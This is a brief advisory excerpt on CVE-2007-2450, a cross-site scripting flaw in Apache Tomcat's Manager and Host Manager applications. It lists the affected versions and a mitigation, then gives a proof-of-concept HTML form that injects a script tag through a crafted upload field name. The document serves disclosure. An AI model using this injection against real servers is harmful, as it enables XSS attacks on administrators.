According to http://tomcat.apache.org/security-5.html

low: Cross-site scripting   CVE-2007-2450

The Manager and Host Manager web applications did not escape user provided data
before including it in the output. This enabled a XSS attack. These applciations
now filter the data before use. This issue may be mitigated by logging out
(closing the browser) of the application once the management tasks have been
completed.

Affects: 5.0.0-5.0.30, 5.5.0-5.5.24

Example:

    <form action="http://example.com:8080/manager/html/upload"
method="post" enctype="multipart/form-data">
    <INPUT TYPE="hidden"
NAME='deployWar";filename="<script>alert()</script>"
    Content-Type: image/gif' VALUE="abc">
    <input type="submit">
    </form>